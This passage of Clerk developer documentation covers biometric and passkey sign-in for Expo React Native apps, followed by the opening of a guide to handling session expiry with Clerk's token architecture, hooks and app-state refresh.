    color: '#6b7280',
    textAlign: 'center',
    marginTop: 8,
    marginBottom: 16,
  },
  modalInput: {
    borderWidth: 1,
    borderColor: '#d1d5db',
    borderRadius: 8,
    padding: 14,
    fontSize: 16,
  },
  modalButtons: {
    flexDirection: 'row',
    marginTop: 16,
    gap: 12,
  },
  modalButton: {
    flex: 1,
    paddingVertical: 12,
    borderRadius: 8,
    alignItems: 'center',
  },
  modalCancelText: { fontSize: 16, color: '#6c47ff' },
  modalSubmitButton: { backgroundColor: '#6c47ff' },
  modalSubmitButtonDisabled: { opacity: 0.5 },
  modalSubmitText: { fontSize: 16, color: '#fff', fontWeight: '600' },
})
```

This settings component uses `userOwnsCredentials` to gate the toggle — unlike the sign-in screen, this is an authenticated context where the hook can verify credential ownership. The multi-user check (`hasCredentials && !userOwnsCredentials`) handles shared-device scenarios where one user's credentials are stored but a different user is signed in.

The password prompt uses a custom `Modal` with a `TextInput` (`secureTextEntry`) instead of `Alert.prompt`, which is iOS-only. The `Modal` approach works identically on both iOS and Android. `KeyboardAvoidingView` prevents the keyboard from covering the input, using `behavior="padding"` on iOS and `behavior="height"` on Android. The `onRequestClose` prop handles the Android hardware back button.

## Adding passkey support with Clerk

> \[!IMPORTANT]
> `@clerk/expo-passkeys` v1.0.13 requires Expo SDK 53 or 54. It does not yet support Expo SDK 55 (the current version). This section covers the architecture and API so you understand the approach. For a working implementation, use Expo SDK 54 or monitor the [`@clerk/expo-passkeys` package](https://github.com/clerk/javascript/tree/main/packages/expo-passkeys) for SDK 55 support.

Passkeys are an alternative to password-based biometric login. Instead of storing a password locally, passkeys use asymmetric cryptography — no password is ever created or transmitted.

### How passkeys work in Clerk's Expo SDK

Clerk's passkey support uses a separate package:

```bash
npx expo install @clerk/expo-passkeys
```

Pass it to the `ClerkProvider`:

```tsx
import { passkeys } from '@clerk/expo-passkeys'
;<ClerkProvider
  publishableKey={publishableKey}
  tokenCache={tokenCache}
  __experimental_passkeys={passkeys}
>
  {/* App content */}
</ClerkProvider>
```

iOS passkeys require an Apple Developer account with associated domains (`webcredentials`) configured. Android passkeys require a physical device — emulators do not reliably support the Credential Manager API. Both platforms require a development build.

### Passkey API overview

Registration creates a new passkey bound to the user's account:

```tsx
// Registration — requires an authenticated user
// Note: This code requires Expo SDK 53-54 with @clerk/expo-passkeys
const { isLoaded, isSignedIn, user } = useUser()

if (!isLoaded || !isSignedIn) return

try {
  const passkey = await user.createPasskey()
  // Passkey registered successfully
} catch (err) {
  // User cancelled or platform error
}
```

Authentication uses the passkey to sign in without a password:

```tsx
// Authentication — from the sign-in screen
// Note: This code requires Expo SDK 53-54 with @clerk/expo-passkeys
const { signIn, setActive } = useSignIn()

try {
  const result = await signIn.passkey({
    flow: 'discoverable',
  })

  if (result.status === 'complete') {
    await setActive({ session: result.createdSessionId })
  }
} catch (err) {
  // User cancelled or no passkey registered
}
```

Each Clerk account supports up to 10 passkeys. Passkeys can be renamed with `passkey.update({ name })` or deleted with `passkey.delete()`.

### When to expect Expo SDK 55 support

Clerk's native AuthView component (beta, introduced in Core 3) may handle passkeys automatically in future releases. Monitor the [Clerk changelog](/changelog) and the [`@clerk/expo-passkeys` CHANGELOG](https://github.com/clerk/javascript/blob/main/packages/expo-passkeys/CHANGELOG.md) for updates.

## Handling platform differences

### iOS-specific considerations

**Face ID vs. Touch ID detection:** The `biometricType` value from `useLocalCredentials()` returns `'face-recognition'` for Face ID and `'fingerprint'` for Touch ID. Use this to show the appropriate label in your UI.

**`NSFaceIDUsageDescription` is mandatory.** If this key is missing from `Info.plist`, the app crashes when requesting Face ID access, and Apple rejects the App Store submission. Write a clear, specific string: "Allow \[App Name] to use Face ID for quick sign-in to your account."

**Simulator testing:** In the iOS Simulator, go to **Features → Face ID → Enrolled** to enable Face ID. Simulate scans with:

- **Matching Face** (keyboard shortcut: Cmd+Opt+M) — successful authentication
- **Non-matching Face** (keyboard shortcut: Cmd+Opt+N) — failed authentication

**Max attempt fallback:** After five failed biometric attempts, iOS automatically falls back to the device passcode. This is OS-level behavior that cannot be overridden by the app.

### Android-specific considerations

**Biometric strength classes:** Android categorizes biometrics into three classes:

- **Class 3 (BIOMETRIC\_STRONG)** — fingerprint, some face recognition (secure hardware required)
- **Class 2 (BIOMETRIC\_WEAK)** — some face recognition (software-based)
- **Class 1** — convenience only, not suitable for authentication

`expo-secure-store` with `requireAuthentication: true` requires **Class 3 (BIOMETRIC\_STRONG)** biometrics. This means Android face unlock on many devices — including some Samsung Galaxy models — will not work with credential storage because their face recognition is Class 2. Fingerprint always works.

> \[!WARNING]
> **Known Samsung issue:** On Samsung Galaxy devices running Android 14, `expo-secure-store` with `requireAuthentication` throws `ERR_SECURESTORE_AUTH_NOT_CONFIGURED` when only face recognition is enrolled (no fingerprint). If your users report this issue, inform them that fingerprint enrollment is required for biometric login on affected devices.

**`cancelLabel` requirement:** When using `authenticateAsync()` from `expo-local-authentication` with `disableDeviceFallback: true`, you **must** provide a `cancelLabel` or Android crashes. This is a known platform issue.

**Data persistence:** Android deletes `expo-secure-store` data when the app is uninstalled. iOS Keychain data persists across uninstalls. This means an iOS user may see a biometric login option after reinstalling, while an Android user will need to re-enroll.

### [Cross-platform](/glossary/cross-platform-development) biometric label utility

Use this utility to display the appropriate biometric label and icon across platforms:

```tsx
import { Platform } from 'react-native'
import * as LocalAuthentication from 'expo-local-authentication'

type BiometricInfo = {
  available: boolean
  label: string
  type: 'face-recognition' | 'fingerprint' | 'iris' | 'none'
}

export async function getBiometricInfo(): Promise<BiometricInfo> {
  const hasHardware = await LocalAuthentication.hasHardwareAsync()
  const isEnrolled = await LocalAuthentication.isEnrolledAsync()

  if (!hasHardware || !isEnrolled) {
    return { available: false, label: 'Biometrics', type: 'none' }
  }

  const types = await LocalAuthentication.supportedAuthenticationTypesAsync()

  if (types.includes(LocalAuthentication.AuthenticationType.FACIAL_RECOGNITION)) {
    return {
      available: true,
      label: Platform.OS === 'ios' ? 'Face ID' : 'Face Unlock',
      type: 'face-recognition',
    }
  }

  if (types.includes(LocalAuthentication.AuthenticationType.FINGERPRINT)) {
    return {
      available: true,
      label: Platform.OS === 'ios' ? 'Touch ID' : 'Fingerprint',
      type: 'fingerprint',
    }
  }

  if (types.includes(LocalAuthentication.AuthenticationType.IRIS)) {
    return { available: true, label: 'Iris Scan', type: 'iris' }
  }

  return { available: false, label: 'Biometrics', type: 'none' }
}
```

## Comparing authentication providers for biometric login

Clerk is not the only authentication provider for Expo apps. Here is how the major providers compare for biometric login support.

### Clerk

Clerk provides first-class biometric support through the [`useLocalCredentials()`](/docs/guides/development/local-credentials) hook — a single import that handles credential storage, biometric verification, and sign-in. Passkey support is available through `@clerk/expo-passkeys` (currently requires Expo SDK 53-54). No custom native bridging is required.

### Auth0

Auth0's `react-native-auth0` SDK (v5+) includes built-in biometric credential management through `LocalAuthenticationOptions` on the `Auth0Provider`. It offers four `BiometricPolicy` modes: `default`, `always`, `session`, and `appLifecycle`. Passkeys are in Early Access for native iOS and Android but are not explicitly supported in the React Native SDK. Passkeys require a custom domain.

### Stytch

Stytch offers first-class `biometrics.register()` and `biometrics.authenticate()` methods in their React Native SDK, plus WebAuthn passkey support via `webauthn.register()` and `webauthn.authenticate()`. A dedicated Expo SDK is available (`@stytch/react-native-expo`). Stytch requires iOS 13+ and Android 6+ (Class 3 biometrics only).

### Firebase

Firebase has no dedicated biometric or passkey API. Biometric login must be implemented manually by wrapping Firebase session tokens with `expo-local-authentication` and `expo-secure-store`. A passkey feature request has been [open since July 2023](https://github.com/firebase/firebase-ios-sdk/issues/11548) with no implementation.

### Supabase

Supabase has no native biometric or passkey API. The same manual approach as Firebase is required — biometrics as a client-side gate over session tokens. Supabase uses `AsyncStorage` by default, which is unencrypted and unsuitable for credential storage. Passkey support has [126+ upvotes](https://github.com/orgs/supabase/discussions/8677) and was reported as "being planned" as of January 2026.

### AWS Cognito

AWS Amplify's React Native SDK supports TOTP and SMS [MFA](/glossary/multi-factor-authentication-mfa), but the official docs state: "WebAuthn registration and authentication are not currently supported on React Native." Biometric gating requires manual implementation with `expo-local-authentication`.

### Provider comparison

| Feature                |   Clerk   |     Auth0    | Stytch |  Firebase  |  Supabase  | AWS Cognito |
| ---------------------- | :-------: | :----------: | :----: | :--------: | :--------: | :---------: |
| Built-in biometric API |           |              |        |            |            |             |
| Passkey support (RN)   | SDK 53-54 | Early Access |        |            |            |             |
| Expo SDK               |           |              |        |  Community |            |             |
| Setup complexity       |    Low    |    Medium    | Medium | High (DIY) | High (DIY) |  High (DIY) |
| Dev build required     |           |              |        |            |            |             |

## Security best practices

### Secure credential storage

Clerk's `useLocalCredentials()` stores credentials in `expo-secure-store`, which uses the iOS Keychain and Android EncryptedSharedPreferences backed by the hardware Keystore. Never store credentials in `AsyncStorage` — it is [unencrypted and accessible without authentication](https://reactnative.dev/docs/security).

Clerk's approach uses the platform's cryptographic binding, not a simple boolean gate. The [OWASP Mobile Application Security Testing Guide (MASTG)](https://mas.owasp.org/MASTG/) warns that "event-bound" biometric checks (a boolean true/false from `authenticateAsync`) are bypassable. By storing the password behind `requireAuthentication: true` in `expo-secure-store`, the credential is cryptographically tied to a successful biometric verification — the operating system enforces this at the hardware level.

### Handling biometric enrollment changes

When a user adds a new fingerprint or resets Face ID, credentials stored with biometric protection become inaccessible:

- **iOS:** The Keychain item protected with `biometryCurrentSet` is silently invalidated when biometric enrollment changes. `SecItemCopyMatching` returns `errSecItemNotFound`, and `expo-secure-store` returns `null`.
- **Android:** The Android Keystore throws `KeyPermanentlyInvalidatedException` internally. `expo-secure-store` catches this in `getItemImpl` and returns `null`.

At the Clerk API level, `authenticate()` detects the missing password and **throws an error** rather than returning `null`. Your code must use **try/catch** (not null-checks), call `clearCredentials()` to clean up, prompt for password sign-in, and then call `setCredentials()` to re-store credentials under the new biometric enrollment. See the [complete sign-in screen code](#implement-biometric-sign-in) for the full implementation pattern.

### Fallback authentication

Always provide a password sign-in fallback. Biometrics can be unavailable for many reasons:

- No biometric hardware on the device
- Biometrics not enrolled in device settings
- User denied Face ID permission (iOS)
- Biometric enrollment changed (credentials invalidated)
- Hardware damage

Show the password form by default, with biometric sign-in as the enhanced option — not the only option.

### Data persistence asymmetry

- **iOS:** Keychain data persists after app uninstall. A returning user may see the biometric login option after reinstalling.
- **Android:** EncryptedSharedPreferences data is deleted on app uninstall. The user must re-enroll biometric login after reinstalling.

Handle both cases gracefully. On iOS, if `hasCredentials` is `true` but the stored password no longer matches the user's current password (they changed it), `authenticate()` will throw a Clerk API error. Catch it, clear credentials, and prompt for password sign-in.

## Troubleshooting common issues

### "FaceID is available but has not been configured"

**Cause:** Running in Expo Go instead of a development build, or the `NSFaceIDUsageDescription` key is missing from `Info.plist`.

**Fix:** Create a development build with `npx expo run:ios`. Verify that the `expo-local-authentication` plugin is in `app.json` with a `faceIDPermission` string.

### Biometric prompt not appearing

**Causes:**

1. Biometrics not enrolled in device or simulator settings
2. `NSFaceIDUsageDescription` missing from config
3. User previously denied Face ID permission — `hasHardwareAsync()` returns `false` after denial on iOS
4. Proguard optimization in Android production builds can break the biometric prompt

**Fix:** Check enrollment (simulator: Features → Face ID → Enrolled). Verify plugin config. For iOS permission denial, the user must re-enable in device Settings. For Android production builds, add Proguard keep rules for `androidx.biometric`.

### Credentials not persisting across app restarts

**Causes:**

1. `expo-secure-store` not properly installed — run `npx expo install expo-secure-store` and rebuild
2. Android: data deleted on app uninstall (this is expected behavior, not a bug)
3. Biometric enrollment changed, invalidating stored credentials

**Fix:** Verify installation, rebuild with `npx expo run:ios` or `npx expo run:android`. Handle invalidation gracefully with the try/catch pattern shown in the [biometric sign-in section](#implement-biometric-sign-in).

### Android crash with disableDeviceFallback

**Cause:** When using `authenticateAsync({ disableDeviceFallback: true })` from `expo-local-authentication`, Android requires a `cancelLabel` string. Omitting it causes a crash.

**Fix:** Always provide `cancelLabel` when disabling the device fallback:

```tsx
await LocalAuthentication.authenticateAsync({
  disableDeviceFallback: true,
  cancelLabel: 'Cancel',
  promptMessage: 'Verify your identity',
})
```

### Samsung face recognition not working with SecureStore

**Cause:** Samsung face recognition is classified as BIOMETRIC\_WEAK (Class 2). `expo-secure-store` with `requireAuthentication: true` requires BIOMETRIC\_STRONG (Class 3).

**Fix:** Inform users that fingerprint enrollment is required for biometric login on affected Samsung devices. You can detect this by checking if `authenticateAsync` succeeds but `setCredentials` fails.

### Android emulator fingerprint enrollment

To enroll fingerprints in the Android emulator:

1. Open the emulator's **Settings → Security → Fingerprint**
2. Follow the enrollment flow (use the extended controls fingerprint button)
3. Alternatively, use ADB: `adb -e emu finger touch 1`

Note that passkeys do **not** work in the Android emulator — a physical device is required.

## Frequently asked questions

---

# How to Handle Session Expiry in a React Native App with Clerk
URL: https://clerk.com/articles/how-to-handle-session-expiry-in-a-react-native-app-with-clerk.md
Date: 2026-04-16
Description: Session expiry in React Native demands careful handling of background states, offline scenarios, and token refresh. Clerk automates this in Expo apps with its two-token architecture and Core 3 SDK.

Mobile apps live in a harsher environment than web applications. Users background your app while commuting, lose network connectivity in elevators, and return after hours or days expecting everything to work. When a session expires during any of these scenarios, a poor implementation means lost form data, confusing error screens, or users trapped on broken views.

[Session](/glossary/session) expiry is not a bug — it is a security feature. The challenge is handling it so well that users barely notice. This article explains how [Clerk](/docs/guides/how-clerk-works/overview) manages sessions in [Expo](/glossary/expo) apps, from automatic [token refresh](/glossary/token-refresh) to offline resilience, and walks you through building a production-ready [session management](/glossary/session-management) flow.

### What you'll learn

- How Clerk's two-token architecture works in React Native
- How to configure session lifetimes and inactivity timeouts
- How to detect session expiry and respond with the correct UX
- How to handle background/foreground transitions and offline scenarios
- How to protect in-progress API calls from mid-transaction expiry
- How to use native OAuth to reduce session friction
- How to test session expiry scenarios during development

> \[!NOTE]
> This article targets **Expo apps** (both Expo Go and development builds) using **Clerk Core 3** (`@clerk/expo` 3.x) with **Expo SDK 53+**. Some features, such as native OAuth, require a development build and will not work in Expo Go. These are noted where relevant.

---

## How Clerk sessions work in React Native

Understanding Clerk's session model is the foundation for handling expiry correctly. Clerk uses a hybrid stateful/stateless architecture that separates long-lived identity from short-lived authorization.

### The two-token architecture

Clerk uses two tokens per session, as described in the [How Clerk works](/docs/guides/how-clerk-works/overview) guide:

- **Client token**: A long-lived token that serves as the source of truth for authentication state. It contains a unique client identifier and a rotating anti-session-fixation token. Its expiration defines the overall session lifetime. In the web SDK, this is stored as an HTTP-only cookie (`__client`) on the FAPI domain. In Expo, `tokenCache` with `expo-secure-store` provides persistent encrypted storage for Clerk's authentication credentials, replacing cookie-based storage.
- **[Session token](/glossary/session-token) ([JWT](/glossary/json-web-token))**: A short-lived JSON Web Token with a 60-second lifetime. It contains claims like `sub` (user ID), `sid` (session ID), `exp` (expiration), `iat` (issued at), and `fva` (factor verification age). Session tokens are used for API authorization — your backend verifies them without calling Clerk's servers.

The SDK generates new session tokens by calling `POST /client/sessions/<id>/tokens` using the client token. This separation means a compromised session token expires in 60 seconds, while the client token can be rotated independently.

This two-token model limits the blast radius of a leaked JWT to a 60-second window, compared to single-token approaches where a stolen credential grants full access until it expires or is revoked.

### Automatic token refresh

Clerk's SDK refreshes session tokens on a recurring interval, approximately matching the 60-second token lifetime. This happens automatically — no developer code is required.

In Core 3, `getToken()` uses a **stale-while-revalidate** strategy. When a token is within 15 seconds of expiry, `getToken()` returns the cached token immediately and triggers a background refresh. In Core 2, `getToken()` blocked until the refresh completed. This change means your app never waits for a token refresh during normal operation.

### Session states

Every Clerk session has one of eight statuses. Each status triggers different behavior in your app:

| Status      | Trigger                                                                                                                             | Developer action        |
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------- | ----------------------- |
| `active`    | Session is current and valid                                                                                                        | Normal operation        |
| `pending`   | User authenticated but has incomplete tasks (org selection, [MFA](/glossary/multi-factor-authentication-mfa) setup, password reset) | Show task completion UI |
| `ended`     | `session.end()` called client-side                                                                                                  | Redirect to sign-in     |
| `expired`   | Exceeded maximum session lifetime                                                                                                   | Redirect to sign-in     |
| `removed`   | `session.remove()` called client-side                                                                                               | Redirect to sign-in     |
| `abandoned` | Inactivity timeout triggered                                                                                                        | Redirect to sign-in     |
| `replaced`  | Another session took over (multi-session apps)                                                                                      | Handle gracefully       |
| `revoked`   | Admin or backend revoked session via Backend API                                                                                    | Redirect to sign-in     |

**Pending sessions** require special attention. Session tasks that cause a `pending` status include `choose-organization`, `reset-password`, and `setup-mfa`. By default, pending sessions are treated as signed-out in Clerk's [authentication](/glossary/authentication) context. Your route guards must distinguish "session pending a task" from "session expired" to show the correct UI. See the [Detecting session expiry](#detecting-session-expiry-in-your-app) section for the `treatPendingAsSignedOut` option.

**Revoked sessions** differ from `ended` and `removed` in that they are triggered server-side — an admin or backend process calling the revoke endpoint. Mobile apps should handle `revoked` the same way they handle `expired`.

### Authentication states in React Native

In the Expo SDK, there are two authentication states that matter:

- **Signed-in**: `isSignedIn === true`. A valid active session exists.
- **Signed-out**: `isSignedIn === false`. No active session.

The web-only "handshake" state does not apply to React Native. The Expo SDK uses `tokenCache` for session bootstrapping instead of HTTP cookie handshakes. Do not implement handshake handling in your Expo app.

---

## Setting up Clerk in an Expo app

This section covers the essential session-related configuration. For the full setup, see the [Expo quickstart](/docs/expo/getting-started/quickstart).

### Installing dependencies

Install the core packages:

```bash
npx expo install @clerk/expo expo-secure-store
```

> \[!IMPORTANT]
> The package was renamed from `@clerk/clerk-expo` to `@clerk/expo` in Core 3. If you are migrating from Core 2, run `bunx @clerk/upgrade` for automated migration.

If you plan to use browser-based [OAuth](/glossary/oauth) via `useSSO()`, also install:

```bash
npx expo install expo-web-browser expo-auth-session
```

These are not required for native OAuth or for session expiry handling.

### Configuring ClerkProvider with token caching

The `ClerkProvider` wraps your app and manages authentication state. The `tokenCache` prop is essential — without it, tokens are stored in memory only and lost when the app restarts.

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

Key props:

- **`publishableKey`** (required): Your Clerk [publishable key](/glossary/publishable-key). Must be passed explicitly in Core 3 — environment variables inside `node_modules` are not inlined in production builds.
- **`tokenCache`**: Persists tokens to `expo-secure-store`. Always enable this in production.
- **`touchSession`** (default `true`): Clerk documents this prop as calling the Frontend API `touch` endpoint during "page focus." Because page focus is a browser concept relying on `window.focus` and `document.visibilityState`, `touchSession` may not behave as expected in Expo apps. In practice, an `AppState`-based pattern is more reliable for mobile keep-alive (see [Handling app state transitions](#handling-app-state-transitions)).

> \[!NOTE]
> The `@clerk/expo` `ClerkProvider` automatically sets `standardBrowser={!isNative()}` internally. You do not need to set `standardBrowser` manually in your code.

### Enabling offline support (experimental)

Clerk provides an experimental resource cache that enables the SDK to bootstrap without network access and return cached tokens when offline.

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { resourceCache } from '@clerk/expo/resource-cache'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
      __experimental_resourceCache={resourceCache}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

Benefits of `resourceCache`:

- Faster `isLoaded` resolution — the SDK can initialize from cached data
- Cached token return when offline
- SDK bootstraps without a network connection

> \[!WARNING]
> The `__experimental_resourceCache` API is experimental and may change. The `tokenCache` prop is stable and recommended for all production apps. Only `resourceCache` carries the experimental designation.

---

## Configuring session lifetime and inactivity timeout

Session expiry behavior is configured in the [Clerk Dashboard](/docs/guides/secure/session-options) under **Sessions > Session options**.

### Maximum session lifetime

The maximum lifetime defines how long a session can exist regardless of activity. When a session exceeds this limit, its status transitions to `expired`.

- **Default**: 7 days
- **Range**: 5 minutes to 10 years
- **Customization**: Requires a paid plan in production. Free for development instances.

### Inactivity timeout

The inactivity timeout defines how long a session can exist without token refreshes. A user is "inactive" when the app stops refreshing tokens — typically when the app is backgrounded, closed, or killed. When the timeout triggers, the session transitions to `abandoned`.

- **Default**: Disabled
- **Constraint**: At least one of maximum lifetime or inactivity timeout must be enabled
- **Customization**: Requires a paid plan in production. Free for development instances.

### Choosing the right configuration for mobile

Session configuration depends on your app's security requirements. Use shorter lifetimes for apps handling sensitive data:

| App category          | Idle timeout         | Session lifetime     | Reference                                                                                    |
| --------------------- | -------------------- | -------------------- | -------------------------------------------------------------------------------------------- |
| Banking / Financial   | 15 minutes           | 12 hours             | PCI DSS 8.2.8 (idle); NIST SP 800-63B AAL2 (lifetime)                                        |
| Healthcare            | Organization-defined | Organization-defined | HIPAA §164.312(a)(2)(iii) — requires automatic logoff but does not prescribe specific values |
| E-commerce            | 15-30 minutes        | 24 hours             | Industry practice, consistent with OWASP guidance                                            |
| Social / Consumer     | 30+ minutes          | 30+ days             | UX-driven, aligns with NIST SP 800-63B AAL1 (30-day reauthentication)                        |
| Internal / Enterprise | 15 minutes           | 12 hours             | NIST SP 800-63B AAL3 (idle); AAL2/AAL3 (lifetime)                                            |

> \[!NOTE]
> PCI DSS mandates a 15-minute idle timeout but does not specify session lifetimes. HIPAA requires automatic logoff but leaves the timeout duration to organizational risk assessment — the 5-15 minute range commonly used in healthcare apps reflects industry practice, not a regulatory mandate. Many financial institutions implement stricter timeouts (2-5 minutes) as internal policy beyond PCI DSS minimums.

For most consumer Expo apps, the 7-day default session lifetime with no inactivity timeout provides a good balance between security and user experience. Enable inactivity timeout if your app handles financial or medical data.

---

## Detecting session expiry in your app

This section covers practical patterns for detecting when a session has expired or is about to expire.

### Handling the initialization window

In Expo apps, many perceived "session expiry bugs" come from rendering protected screens before Clerk has finished initializing. Until `isLoaded` is `true`, the `isSignedIn` value is `undefined` — not `false`. A premature `if (!isSignedIn)` redirect fires even when the user has a valid cached session.

```tsx
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'
import { ActivityIndicator, View } from 'react-native'

export default function ProtectedLayout() {
  const { isLoaded, isSignedIn } = useAuth()

  if (!isLoaded) {
    return (
      <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>
        <ActivityIndicator size="large" />
      </View>
    )
  }

  if (!isSignedIn) {
    return <Redirect href="/sign-in" />
  }

  return <Stack />
}
```

Always check `isLoaded` before `isSignedIn`. Never place a `<Redirect>` before the `isLoaded` guard. Never return `null` from a root layout — show a loading indicator instead.

### Using useAuth() to monitor authentication state

The `useAuth()` hook provides the core authentication state:

```tsx
import { useAuth } from '@clerk/expo'
import { useEffect, useRef } from 'react'
import { router } from 'expo-router'

export function SessionMonitor() {
  const { isLoaded, isSignedIn, sessionId } = useAuth()
  const wasSignedIn = useRef(isSignedIn)

  useEffect(() => {
    if (!isLoaded) return

    if (wasSignedIn.current && !isSignedIn) {
      // Session expired or was ended — redirect to sign-in
      router.replace('/sign-in')
    }

    wasSignedIn.current = isSignedIn
  }, [isLoaded, isSignedIn])

  return null
}
```

The `treatPendingAsSignedOut` option controls how pending sessions appear. By default (`true`), a user completing MFA setup or organization selection appears signed-out in `useAuth()`. Pass `{ treatPendingAsSignedOut: false }` if your route guards need to distinguish pending tasks from actual sign-out:

```tsx
const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
// isSignedIn is true for pending sessions — use this to show task UI instead of sign-in
```

### Using useSession() for detailed session information

The `useSession()` hook exposes the full session object with timing and status details:

```tsx
import { useSession } from '@clerk/expo'
import { Text, View } from 'react-native'

export function SessionHealthDisplay() {
  const { isLoaded, session } = useSession()

  if (!isLoaded || !session) {
    return null
  }

  return (
    <View>
      <Text>Status: {session.status}</Text>
      <Text>Expires: {session.expireAt?.toISOString()}</Text>
      <Text>Abandon at: {session.abandonAt?.toISOString() ?? 'No timeout'}</Text>
      <Text>Last active: {session.lastActiveAt?.toISOString()}</Text>
    </View>
  )
}
```

### Monitoring session status changes

Use a `useEffect` to watch for session status transitions and trigger navigation:

```tsx
import { useSession } from '@clerk/expo'
import { useEffect } from 'react'
import { router } from 'expo-router'
import { Alert } from 'react-native'

export function SessionStatusWatcher() {
  const { session } = useSession()

  useEffect(() => {
    if (!session) return

    const terminalStatuses = ['expired', 'ended', 'abandoned', 'removed', 'revoked']

    if (terminalStatuses.includes(session.status)) {
      Alert.alert('Session ended', 'Your session has expired. Please sign in again.', [
        { text: 'OK', onPress: () => router.replace('/sign-in') },
      ])
    }
  }, [session?.status])

  return null
}
```

### Handling getToken() in Core 3

In Core 3, `getToken()` behavior depends on network availability and your configuration:

- **Network available, authenticated**: Returns a valid session token. Uses stale-while-revalidate to refresh proactively.
- **Network unavailable, no `resourceCache`**: Throws a runtime error with `code: 'network_error'`. This is the Core 3 breaking change — previously it returned `null`.
- **Network unavailable, `resourceCache` enabled**: Returns a cached token instead of throwing, enabling offline-capable apps.
- **Unauthenticated**: Returns `null` regardless of network state.

The documented pattern for Expo uses `isClerkRuntimeError` from `@clerk/expo`:

```tsx
import { useAuth, isClerkRuntimeError } from '@clerk/expo'

export function useAuthenticatedFetch() {
  const { getToken } = useAuth()

  async function fetchWithAuth(url: string, options?: RequestInit) {
    try {
      const token = await getToken()

      if (!token) {
        // User is not authenticated — redirect to sign-in
        throw new Error('Not authenticated')
      }

      return fetch(url, {
        ...options,
        headers: {
          ...options?.headers,
          Authorization: `Bearer ${token}`,
        },
      })
    } catch (error) {
      if (isClerkRuntimeError(error) && error.code === 'network_error') {
        // Network is unavailable — show offline UI or queue the request
        throw new Error('Network unavailable. Please check your connection.')
      }
      throw error
    }
  }

  return { fetchWithAuth }
}
```

> \[!IMPORTANT]
> Do not import from `@clerk/expo/errors` — this subpath does not exist. Import `isClerkRuntimeError` directly from `@clerk/expo`.

---

## Handling app state transitions

Mobile apps move between foreground, background, and inactive states. Each transition affects session token refresh behavior.

### React Native AppState and session tokens

React Native's `AppState` API reports three states:

- **`active`**: The app is in the foreground and processing events
- **`background`**: The app is in the background (JS execution is paused)
- **`inactive`** (iOS only): Transitional state during app switching or notification center

When the app is backgrounded, JavaScript execution pauses and Clerk's automatic token refresh stops. The session token will expire after 60 seconds in the background, but the session itself remains valid as long as it has not exceeded its maximum lifetime or inactivity timeout.

> \[!NOTE]
> Known issue: Android 14 may delay the `background` event (React Native issue #50415). This can cause the AppState listener to fire late on foreground return.

### Refreshing sessions on foreground return

When the app returns to the foreground, force a fresh token to ensure you have a valid session:

```tsx
import { useAuth } from '@clerk/expo'
import { useEffect, useRef } from 'react'
import { AppState, type AppStateStatus } from 'react-native'

export function useForegroundRefresh() {
  const { getToken, isSignedIn } = useAuth()
  const appState = useRef(AppState.currentState)

  useEffect(() => {
    if (!isSignedIn) return

    const handleAppStateChange = async (nextState: AppStateStatus) => {
      if (appState.current.match(/background|inactive/) && nextState === 'active') {
        try {
          const token = await getToken({ skipCache: true })
          if (!token) {
            // Session has expired while backgrounded
            // Navigation will be handled by the auth state change
          }
        } catch (error) {
          // Handle offline scenario — see Error Handling section
        }
      }

      appState.current = nextState
    }

    const subscription = AppState.addEventListener('change', handleAppStateChange)
    return () => subscription.remove()
  }, [isSignedIn, getToken])
}
```

> \[!TIP]
> The `touchSession` prop on `ClerkProvider` is designed around browser page-focus events and may not trigger reliably in Expo. In practice, the `AppState` listener above is a more reliable mobile keep-alive pattern.

### Handling extended background periods

When a user returns after hours or days, the session itself may have expired (exceeded maximum lifetime) or been abandoned (inactivity timeout). In this case:

1. `getToken({ skipCache: true })` attempts to fetch a fresh token from Clerk's API
2. The API rejects the request because the session is no longer valid
3. In practice, the SDK's internal state management detects the invalid session and updates `isSignedIn` to `false`
4. Your auth state listener or route guard redirects to sign-in

> \[!IMPORTANT]
> Unlike the web SDK, the Expo SDK does not continuously poll for session validity in the background. In practice, session state updates depend on the next interaction with Clerk's API — typically triggered by `getToken()` or another SDK call. The `useForegroundRefresh` hook above ensures this check happens promptly when the app returns to the foreground.

Use `isSignedIn` from `useAuth()` as the authoritative signal for authentication status. The `getToken()` call and the `isSignedIn` transition are correlated outcomes of the same underlying event (expired session) but operate through independent code paths — do not rely on one to cause the other. Let your existing navigation guards handle the redirect when `isSignedIn` transitions to `false`.

### Session persistence with SecureStore

The `tokenCache` from `@clerk/expo/token-cache` persists tokens using `expo-secure-store`, which provides platform-specific secure storage:

- **iOS**: Keychain Services. Data persists across app uninstall if reinstalled with the same bundle ID.
- **Android**: Encrypted SharedPreferences via Android Keystore. Data is cleared on uninstall.

Clerk's implementation uses a dual-slot chunked storage strategy to handle SecureStore's historical \~2,048-byte iOS limit. Without `tokenCache`, tokens exist in memory only and are lost when the app restarts — requiring the user to sign in again every time they close the app.

---

## Building a session expiry UX flow

This section covers practical patterns for handling session expiry in the user interface.

### Designing the redirect flow

Use `isSignedIn` from `useAuth()` as the route guard — not `!!session`. A truthy session object does not guarantee the user should access protected content because the session may be in a `pending` state with incomplete tasks. The `isSignedIn` boolean already incorporates `treatPendingAsSignedOut` logic.

In an Expo Router layout:

```tsx
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'
import { ActivityIndicator, View } from 'react-native'

export default function AuthenticatedLayout() {
  const { isLoaded, isSignedIn } = useAuth()

  if (!isLoaded) {
    return (
      <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>
        <ActivityIndicator size="large" />
      </View>
    )
  }

  if (!isSignedIn) {
    return <Redirect href="/sign-in" />
  }

  return <Stack />
}
```

### Routing pending sessions to task completion

When a session is `pending`, the user has authenticated but has incomplete tasks. Routing them to the sign-in screen is incorrect — they need to complete their task.

